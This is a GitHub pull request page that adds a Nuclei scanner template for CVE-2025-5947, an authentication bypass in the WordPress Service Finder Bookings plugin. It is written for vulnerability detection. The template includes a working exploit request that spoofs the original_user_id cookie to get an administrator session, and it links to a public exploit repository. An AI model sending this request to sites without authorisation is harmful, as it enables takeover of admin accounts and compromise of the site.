-
Notifications
You must be signed in to change notification settings - Fork 3.4k
feat(cves): add CVE-2025-5947 - Service Finder Bookings Auth Bypass #15656
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
DhiyaneshGeek
merged 6 commits into
projectdiscovery:main
from
sedat4ras:feat/add-cve-2025-5947
Mar 31, 2026
Merged
Changes from 2 commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
a3897d9
feat(cves): add CVE-2025-5947 Service Finder Bookings auth bypass
sedat4ras fee9560
fix(CVE-2025-5947): address Neo review feedback
sedat4ras 7136e08
Update CVE-2025-5947.yaml
theamanrawat da110dc
Update CVE-2025-5947.yaml
theamanrawat 8210fe1
fix(CVE-2025-5947): remove wordpress_logged_in_ cookie matcher
sedat4ras 5c1f5f7
Refactor matchers and extractors in CVE-2025-5947.yaml
DhiyaneshGeek File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,81 @@ | ||
| id: CVE-2025-5947 | ||
|
|
||
| info: | ||
| name: Service Finder Bookings Plugin <= 6.0 - Authentication Bypass via Cookie Spoofing | ||
| author: sedat4ras | ||
| severity: critical | ||
| description: | | ||
| The Service Finder Bookings plugin for WordPress is vulnerable to authentication bypass | ||
| in all versions up to, and including, 6.0. The service_finder_switch_back() function | ||
| does not properly validate the original_user_id cookie before switching user context, | ||
| allowing unauthenticated attackers to gain administrative access by setting the cookie | ||
| to any valid user ID. | ||
| impact: | | ||
| Unauthenticated attackers can gain full administrative access to the WordPress site | ||
| by spoofing the original_user_id cookie, enabling complete account takeover and | ||
| site compromise. Over 13,800 exploitation attempts were recorded by Wordfence within | ||
| hours of public disclosure. | ||
| remediation: | | ||
| Upgrade the Service Finder Bookings plugin to version 6.1 or later. | ||
| reference: | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2025-5947 | ||
| - https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability | ||
| - https://github.com/advisories/GHSA-x2xx-4qhp-2vqx | ||
| - https://github.com/M4rgs/CVE-2025-5947_Exploit | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ||
| cvss-score: 9.8 | ||
| cve-id: CVE-2025-5947 | ||
| cwe-id: CWE-639 | ||
| cpe: cpe:2.3:a:sf-booking:service_finder_bookings:*:*:*:*:*:wordpress:*:* | ||
| metadata: | ||
| max-request: 2 | ||
| vendor: sf-booking | ||
| product: service-finder-bookings | ||
| publicwww-query: "/wp-content/plugins/sf-booking/" | ||
| tags: cve,cve2025,wordpress,wp-plugin,wp,sf-booking,auth-bypass,cookie-spoofing,vuln | ||
|
|
||
| flow: http(1) && http(2) | ||
|
|
||
| http: | ||
| - id: plugin-check | ||
| method: GET | ||
| path: | ||
| - "{{BaseURL}}/wp-content/plugins/sf-booking/readme.txt" | ||
|
|
||
| matchers: | ||
| - type: word | ||
| part: body | ||
| words: | ||
| - "Service Finder" | ||
| internal: true | ||
|
|
||
| - id: exploit-check | ||
| raw: | ||
| - | | ||
| GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Cookie: original_user_id=1 | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
neo-by-projectdiscovery-dev[bot] marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| - type: status | ||
| status: | ||
| - 301 | ||
| - 302 | ||
|
|
||
| - type: regex | ||
| part: header | ||
| regex: | ||
| - '(?i)Location:.*\/wp-admin\/' | ||
|
|
||
| - type: regex | ||
| part: header | ||
| regex: | ||
| - '(?i)Set-Cookie:.*wordpress_logged_in_' | ||
|
|
||
| extractors: | ||
| - type: kval | ||
| part: header | ||
| kval: | ||
| - location | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.